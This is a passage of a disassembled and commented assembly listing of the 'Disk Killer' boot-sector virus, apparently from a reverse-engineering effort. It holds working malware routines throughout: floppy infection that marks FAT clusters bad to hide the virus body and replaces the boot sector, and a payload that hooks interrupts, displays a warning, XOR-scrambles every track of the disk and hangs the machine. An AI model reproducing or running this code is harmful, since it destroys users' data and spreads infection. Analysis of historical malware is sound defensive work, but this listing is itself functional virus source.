;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
wr_virus_body proc near
|
||
mov word ptr virus_body,ax ; (seg_a:0042)
|
||
mov word ptr virus_body[2],dx ; (seg_a:0044)
|
||
call conv_notation ; (00F4)
|
||
test drive,80h ; is HD?
|
||
jnz loc_33 ; Jump if HD
|
||
mov marker3,0 ; (seg_a:0351)
|
||
loc_33: ;
|
||
mov counter2,1 ; (seg_a:034F)
|
||
lea bx,cs:[200h] ; Load effective addr
|
||
mov al,4
|
||
call wr_sector ; (0147)
|
||
mov marker3,77h ; (seg_a:0351)
|
||
retn
|
||
wr_virus_body endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(0420)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
flag_bad_sectors proc near
|
||
mov ax,4
|
||
inc ax
|
||
div SectorsPerCluster ; (seg_a:000D=2) al,ah rem = ax/data
|
||
mov required_clusters,al ; (seg_a:03F5=3)
|
||
cmp ah,0
|
||
je loc_34 ; Jump if equal
|
||
inc required_clusters ; (seg_a:03F5)
|
||
; required_clusters = round(5/SectorsPerCluster)
|
||
loc_34:
|
||
mov ax,BytesPerSector ; (seg_a:000B=200h)
|
||
mov cl,20h
|
||
div cl ; al, ah rem = ax/reg
|
||
mov cl,al
|
||
mov ax,RootDirEntries ; (seg_a:0011=70h)
|
||
div cl ; al, ah rem = ax/reg
|
||
add ax,ReservedSectors ; (seg_a:000E=1)
|
||
mov bx,ax
|
||
mov ax,SectorsPerFAT ; (seg_a:0016=2)
|
||
mul FATcopies ; (seg_a:0010=2) ax = data * al
|
||
add bx,ax
|
||
mov first_data_sec,bx
|
||
; first_data_sec = (RootDirEntries/(BytesPerSector/20))+ReservedSectors
|
||
; + (SectorsPerFAT*FATcopies)
|
||
; eg 70h/(200h/20h)+1+(2*2) = 0ch
|
||
|
||
mov ax,SectorsPerDisk ; (seg_a:0013=2D0h)
|
||
sub ax,bx
|
||
mov cl,SectorsPerCluster ; (seg_a:000D=2)
|
||
xor dx,dx ; Zero register
|
||
xor ch,ch ; Zero register
|
||
div cx ; ax,dx rem=dx:ax/reg
|
||
mov last_data_cluster,ax ; (seg_a:03F2)
|
||
; last_data_cluster = (SectorsPerDisk - first_data_sec)/SectorsPerCluster
|
||
; eg (2d0h-0ch)/2 = 162h
|
||
|
||
mov cx,23h
|
||
loc_35:
|
||
call rd_FATrec ; (0577)
|
||
cmp dx,0 ; free sector
|
||
jne loc_36 ; Jump if not equal
|
||
inc free_clusters ; (seg_a:03F4)
|
||
mov al,free_clusters ; (seg_a:03F4)
|
||
cmp al,required_clusters ; (seg_a:03F5)
|
||
jne loc_37 ; Jump if not equal
|
||
jmp short loc_38 ; (0490)
|
||
nop
|
||
loc_36:
|
||
mov free_clusters,0 ; (seg_a:03F4)
|
||
loc_37:
|
||
inc cx
|
||
cmp cx,last_data_cluster ; (seg_a:03F2=162h)
|
||
jne loc_35 ; Jump if not equal
|
||
|
||
stc ; Set carry flag
|
||
retn
|
||
loc_38:
|
||
call wr_bad_FATrec ; (0596)
|
||
dec cx
|
||
dec al
|
||
jnz loc_38 ; Jump if not zero
|
||
inc cx
|
||
mov last_bad_FATrec,cx ; (seg_a:04A1=11Eh)
|
||
clc ; Clear carry flag
|
||
retn
|
||
flag_bad_sectors endp
|
||
|
||
_ReservedSectors dw 1 ; stores ReservedSectors
|
||
last_bad_FATrec dw 11Eh ; stores the last FAT record to be marked bad
|
||
first_data_sec dw 0Ch ; first available sector on disk
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; infect_FD SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
loc_39:
|
||
jmp loc_40 ; (052B)
|
||
|
||
infect_FD proc near
|
||
mov ax,ReservedSectors ; (seg_a:000E=1)
|
||
mov _ReservedSectors,ax ; (seg_a:049F)
|
||
xor dx,dx ; Zero register
|
||
call conv_notation ; (00F4)
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov ax,SectorsPerFAT ; (seg_a:0016=2)
|
||
call rd_sector ; (0143)
|
||
jc loc_39 ; Jump if carry Set
|
||
call flag_bad_sectors ; (0420)
|
||
jc loc_39 ; Jump if carry Set
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov ax,SectorsPerFAT ; (seg_a:0016=2)
|
||
call wr_sector ; (0147)
|
||
jc loc_39 ; Jump if carry Set
|
||
mov ax,_ReservedSectors ; (seg_a:049F=1)
|
||
add ax,SectorsPerFAT ; (seg_a:0016=2)
|
||
xor dx,dx ; Zero register
|
||
call conv_notation ; (00F4)
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov ax,SectorsPerFAT ; (seg_a:0016=2)
|
||
call wr_sector ; (0147)
|
||
jc loc_39 ; Jump if carry Set
|
||
mov ax,last_bad_FATrec ; (seg_a:04A1=11Eh)
|
||
sub ax,2
|
||
xor dx,dx ; Zero register
|
||
mul SectorsPerCluster ; (seg_a:000D=2) ax = data * al
|
||
add ax,first_data_sec ; (seg_a:04A3=0Ch)
|
||
call wr_virus_body ; (03F6)
|
||
jc loc_40 ; Jump if carry Set
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call rd_bootsector ; (0167)
|
||
jc loc_40 ; Jump if carry Set
|
||
mov ax,word ptr virus_body ; (seg_a:0042=44h)
|
||
mov dx,word ptr virus_body[2] ; (seg_a:0044=0)
|
||
add ax,4
|
||
adc dx,0
|
||
mov original_bs,ax ; (seg_a:0040=48h)
|
||
call conv_notation ; (00F4)
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov al,1
|
||
call wr_sector ; (0147)
|
||
jc loc_40 ; Jump if carry Set
|
||
call replace_bs ; (052D)
|
||
jc loc_40 ; Jump if carry Set
|
||
clc ; Clear carry flag
|
||
retn
|
||
loc_40:
|
||
stc ; Set carry flag
|
||
retn
|
||
infect_FD endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(052d)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
replace_bs proc near
|
||
lea si,ds:start ; (seg_a:0000=0FAh) Load effective addr
|
||
lea di,cs:buffer_area ; (seg_a:08A2) Load effective addr
|
||
lea cx,cs:end_of_bs ; Load effective addr
|
||
cld ; Clear direction
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
|
||
; patch various places
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov byte ptr ds:[bx][offset code_patch],13h ; (seg_a:0164=13h)
|
||
mov word ptr [bx][offset counter_lo],0 ; (seg_a:01F0=0)
|
||
mov byte ptr [bx][offset counter_hi],0 ; (seg_a:01F2=0)
|
||
|
||
test drive,80h ; (seg_a:004A=0)
|
||
jnz loc_41 ; Jump if not zero
|
||
mov byte ptr [bx][offset marker1],0 ; (seg_a:01F3=0)
|
||
jmp short loc_42 ; (0564)
|
||
nop
|
||
loc_41:
|
||
mov byte ptr [bx][offset marker1],0AAh ; (seg_a:01F3)
|
||
loc_42:
|
||
mov ax,[bx][offset SectorsPerTrack]
|
||
;* nop ;*Fixup for MASM (M)
|
||
|
||
xor dx,dx ; Zero register
|
||
call conv_notation
|
||
|
||
mov al,1
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call wr_sector
|
||
retn
|
||
replace_bs endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; rd_FATrec SUBROUTINE(0577)
|
||
;
|
||
; reads the required 12bit FAT entry
|
||
;
|
||
; input in cx (eg. 23h)
|
||
; output in dx
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
rd_FATrec proc near
|
||
push cx
|
||
lea si,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov bx,cx
|
||
shl bx,1 ; Shift w/zeros fill
|
||
add bx,cx
|
||
shr bx,1 ; Shift w/zeros fill
|
||
; bx = 1.5 * cx
|
||
mov dx,[bx+si]
|
||
test cx,1
|
||
jz loc_43 ; Jump if zero
|
||
mov cl,4
|
||
shr dx,cl ; Shift w/zeros fill
|
||
; correct odd entries
|
||
|
||
loc_43:
|
||
and dx,0FFFh
|
||
pop cx
|
||
retn
|
||
rd_FATrec endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; wr_bad_FATrec SUBROUTINE(0596)
|
||
;
|
||
; mark FAT entry as bad
|
||
; input in cx
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
wr_bad_FATrec proc near
|
||
push cx
|
||
lea si,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov bx,cx
|
||
shl bx,1 ; Shift w/zeros fill
|
||
add bx,cx
|
||
shr bx,1 ; Shift w/zeros fill
|
||
; x = 1.5 * cx
|
||
mov dx,[bx+si]
|
||
test cx,1
|
||
jz loc_44 ; Jump if zero
|
||
; for odd entries:
|
||
and dx,0Fh
|
||
nop ;*Fixup for MASM (M)
|
||
or dx,0FF70h ; mark as bad
|
||
jmp short loc_45 ; (05BE)
|
||
nop
|
||
loc_44: ; for even entries:
|
||
and dx,0F000h
|
||
or dx,0FF7h ; mark as bad
|
||
loc_45:
|
||
mov [bx+si],dx
|
||
pop cx
|
||
retn
|
||
wr_bad_FATrec endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; damage the disk(05c2)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
|
||
damage: ; damage the disk
|
||
mov byte ptr cs:code_patch,13h ; restore the patched code
|
||
cli ; Disable interrupts
|
||
xor ax,ax ; Zero register
|
||
mov ds,ax
|
||
ASSUME ds:seg_0
|
||
; int 9 -> int 82
|
||
mov ax,word ptr ds:int9_vector ; (0000:0024)
|
||
mov word ptr ds:int82_vector,ax ; (0000:0208)
|
||
mov ax,word ptr ds:int9_vector[2] ; (0000:0026)
|
||
mov word ptr ds:int82_vector[2],ax ; (0000:020A)
|
||
|
||
; int_9_entry -> int 9
|
||
mov ax,offset int_9_entry ; (028A)
|
||
mov word ptr int9_vector,ax ; (0000:0024)
|
||
mov ax,cs
|
||
mov word ptr int9_vector[2],ax ; (0000:0026)
|
||
|
||
; restore all other interrupts
|
||
mov ax,word ptr ds:int81_vector ; (0000:0204)
|
||
mov word ptr int8_vector,ax ; (0000:0020)
|
||
mov ax,word ptr ds:int81_vector[2] ; (0000:0206)
|
||
mov word ptr int8_vector[2],ax ; (0000:0022)
|
||
mov ax,word ptr ds:int83_vector ; (0000:020C)
|
||
mov word ptr int13_vector,ax ; (0000:004C)
|
||
mov ax,word ptr ds:int83_vector[2] ; (0000:020E)
|
||
mov word ptr int13_vector[2],ax ; (0000:004E)
|
||
sti ; Enable interrupts
|
||
|
||
mov ax,cs
|
||
mov ds,ax
|
||
mov es,ax
|
||
ASSUME ds:seg_a, es:seg_a
|
||
|
||
sub ax,1000h
|
||
mov store_es,ax ; (seg_a:0862)
|
||
cmp marker1,0 ; (seg_a:01F3)
|
||
je loc_46 ; Jump if equal
|
||
mov dl,_drive ; (seg_a:01F4)
|
||
loc_46:
|
||
mov drive,dl ; (seg_a:004A)
|
||
lea bx,buffer_area ; (seg_a:08A2) Load effective addr
|
||
call rd_bootsector ; (0167)
|
||
call cp_boot_record ; (0813)
|
||
mov ah,0Fh
|
||
int 10h ; Video display ah=functn 0Fh
|
||
; get state, al=mode, bh=page
|
||
mov ah,0
|
||
int 10h ; Video display ah=functn 00h
|
||
; set display mode in al
|
||
mov ax,600h
|
||
mov cx,0
|
||
mov dx,184Fh
|
||
mov bx,7
|
||
int 10h ; Video display ah=functn 06h
|
||
; scroll up, al=lines
|
||
mov ah,2
|
||
mov bh,0
|
||
mov dx,10Eh
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
mov bx,70h
|
||
mov si,offset str_title ; (seg_a:073A)
|
||
call display_str ; (0889)
|
||
mov ah,2
|
||
mov bh,0
|
||
mov dx,1523h
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
mov bx,2Eh
|
||
mov si,offset str_warning ; (seg_a:0774)
|
||
call display_str ; (0889)
|
||
mov ah,2
|
||
mov bh,0
|
||
mov dx,0C23h
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
mov bx,8Ch
|
||
mov si,offset str_processing ; (seg_a:07D2)
|
||
call display_str ; (0889)
|
||
|
||
; annihilate 200h of the buffer area
|
||
lea ax,buffer_area ; (seg_a:08A2) Load effective addr
|
||
mov di,ax
|
||
mov ax,0
|
||
mov cx,BytesPerSector ; (seg_a:000B=200h)
|
||
cld ; Clear direction
|
||
rep stosb ; Rep when cx >0 Store al to es:[di]
|
||
|
||
mov ax,SectorsPerTrack ; (seg_a:0018=9)
|
||
mov word ptr buffer_area[6],ax ; (seg_a:08A8)
|
||
mov cx,BytesPerSector ; (seg_a:000B=200h)
|
||
mov word ptr buffer_area[2],cx ; (seg_a:08A4)
|
||
mul cx ; dx:ax = reg * ax
|
||
shr ax,1 ; Shift w/zeros fill
|
||
mov words_to_mangle,ax ; (seg_a:0860)
|
||
mov ax,SectorsPerDisk ; (seg_a:0013=2D0h)
|
||
xor dx,dx ; Zero register
|
||
div SectorsPerTrack ; (seg_a:0018=9) ax,dxrem=dx:ax/data
|
||
mov cx,ax
|
||
push cx
|
||
mov word ptr buffer_area[4],ax ; (seg_a:08A6)
|
||
mov bx,0
|
||
mov head,bl ; (seg_a:013F)
|
||
mov track,bx ; (seg_a:0141)
|
||
mov sector,1 ; (seg_a:0140)
|
||
mov ax,store_es ; (seg_a:0862)
|
||
mov es,ax
|
||
mov al,1
|
||
call rd_sector ; (0143)
|
||
inc sector ; (seg_a:0140)
|
||
call wr_sector ; (0147)
|
||
pop cx
|
||
mov ax,0
|
||
|
||
locloop_47:
|
||
push cx
|
||
mov bx,0
|
||
call rd_track ; (0822)
|
||
jc loc_48 ; Jump if carry Set
|
||
mov bx,0
|
||
call mangle_track ; (0864)
|
||
mov bx,0
|
||
call wr_track ; (082A)
|
||
jnc loc_49 ; Jump if carry=0
|
||
loc_48:
|
||
push ax
|
||
push cx
|
||
mov cl,8
|
||
div cl ; al, ah rem = ax/reg
|
||
lea bx,word ptr buffer_area[8]; (seg_a:08AA=0) Load effective addr
|
||
mov cl,ah
|
||
xor ah,ah ; Zero register
|
||
add bx,ax
|
||
mov al,80h
|
||
shr al,cl ; Shift w/zeros fill
|
||
or al,[bx]
|
||
mov [bx],al
|
||
pop cx
|
||
pop ax
|
||
loc_49:
|
||
inc ax
|
||
pop cx
|
||
loop locloop_47 ; Loop if cx > 0
|
||
|
||
mov head,0 ; (seg_a:013F=0)
|
||
mov track,0 ; (seg_a:0141=4)
|
||
mov sector,1 ; (seg_a:0140=1)
|
||
mov ax,cs
|
||
mov es,ax
|
||
mov bx,offset buffer_area ; (seg_a:08A2)
|
||
mov al,1
|
||
call wr_sector ; (0147)
|
||
mov ax,600h
|
||
mov cx,0
|
||
mov dx,184Fh
|
||
mov bx,8
|
||
int 10h ; Video display ah=functn 06h
|
||
; scroll up, al=lines
|
||
mov ah,2
|
||
mov bh,0
|
||
mov dx,0C00h
|
||
int 10h ; Video display ah=functn 02h
|
||
; set cursor location in dx
|
||
mov bx,2Ch
|
||
mov si,offset str_good_luck ; (seg_a:07DF)
|
||
call display_str ; (0889)
|
||
|
||
loc_50: ; Hang the system
|
||
jmp short loc_50 ; (0738)
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; Texts
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
str_title db 'Disk Killer -- Version 1.00 by COMPUTER OGRE 04/01/1989', 0Dh, 0Ah, 0
|
||
str_warning db 'Warning !!', 0Dh, 0Ah, 0Ah
|
||
db 'Don', 27h, 't turn off the power or remove the diskette while Disk Killer is Processing!', 0
|
||
str_processing db 'PROCESSING', 0Dh, 0Ah, 0
|
||
str_good_luck db 'Now you can turn off the power.', 0Dh, 0Ah, 0Ah
|
||
db 'I wish you luck !', 0
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(0813)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
cp_boot_record proc near
|
||
push di
|
||
mov cx,3Ah
|
||
mov si,offset buffer_area + 3 ; (seg_a:08A5)
|
||
mov di,offset disk_info ; (seg_a:0003)
|
||
cld ; Clear direction
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
|
||
pop di
|
||
retn
|
||
cp_boot_record endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; read or write a track SUBROUTINE(0822)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
; read a track
|
||
|
||
rd_track proc near
|
||
mov xx_track_func,2 ; (seg_a:0832=0)
|
||
nop
|
||
jmp short loc_51 ; (0833)
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; write a track
|
||
|
||
wr_track:
|
||
mov xx_track_func,3 ; (seg_a:0832=0)
|
||
nop
|
||
jmp short loc_51 ; (0833)
|
||
|
||
xx_track_func db 0 ; function to execute
|
||
|
||
loc_51:
|
||
push ax
|
||
xor dx,dx ; Zero register
|
||
mov cx,DiskHeads ; (seg_a:001A=2)
|
||
div cx ; ax,dx rem=dx:ax/reg
|
||
mov sector,1 ; (seg_a:0140=1)
|
||
mov head,dl ; (seg_a:013F=0)
|
||
mov track,ax ; (seg_a:0141=4)
|
||
mov ax,store_es ; (seg_a:0862=0)
|
||
mov es,ax
|
||
mov ah,xx_track_func ; (seg_a:0832=0)
|
||
mov al,byte ptr SectorsPerTrack ; (seg_a:0018=9)
|
||
call direct_int13 ; (014B)
|
||
jnc loc_52 ; Jump if carry=0
|
||
|
||
mov ah,0
|
||
int 13h ; Disk dl=drive #: ah=func a0h
|
||
; reset disk, al=return status
|
||
stc ; Set carry flag
|
||
loc_52:
|
||
pop ax
|
||
retn
|
||
rd_track endp
|
||
|
||
words_to_mangle dw 0
|
||
store_es dw 0
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; mess up a sector(0864)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
mangle_track proc near
|
||
push ax
|
||
push ds
|
||
push store_es ; (seg_a:0862=0)
|
||
pop ds
|
||
mov cx,cs:words_to_mangle ; (seg_a:0860=0)
|
||
mov dl,al
|
||
shr dl,1 ; Shift w/zeros fill
|
||
jc loc_53 ; Jump if carry Set
|
||
xor ax,0AAAAh
|
||
jmp short locloop_54 ; (087E)
|
||
loc_53:
|
||
xor ax,5555h
|
||
|
||
locloop_54:
|
||
xor ax,[bx]
|
||
mov [bx],ax
|
||
inc bx
|
||
inc bx
|
||
loop locloop_54 ; Loop if cx > 0
|
||
|
||
pop ds
|
||
pop ax
|
||
retn
|
||
mangle_track endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE(0889)
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
display_str proc near
|
||
push cx
|
||
mov cx,1
|
||
loc_55:
|
||
lodsb ; String [si] to al
|
||
or al,al ; Zero ?
|
||
jz loc_57 ; exit loop if zero
|
||
cmp al,20h
|
||
jb loc_56 ; Jump if below (no control chars please)
|
||
mov ah,9
|
||
int 10h ; Video display ah=functn 09h
|
||
; set char al & attrib bl @curs
|
||
loc_56:
|
||
mov ah,0Eh
|
||
int 10h ; Video display ah=functn 0Eh
|
||
; write char al, teletype mode
|
||
jmp short loc_55 ; (088D)
|
||
loc_57:
|
||
pop cx
|
||
retn
|
||
display_str endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; DATA
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
|
||
buffer_area db 0FDh ; (08A2)
|
||
dw 0FFFFh
|
||
db 347 dup (0)
|
||
end_of_code equ this byte
|
||
|
||
seg_a ends
|
||
|
||
end start
|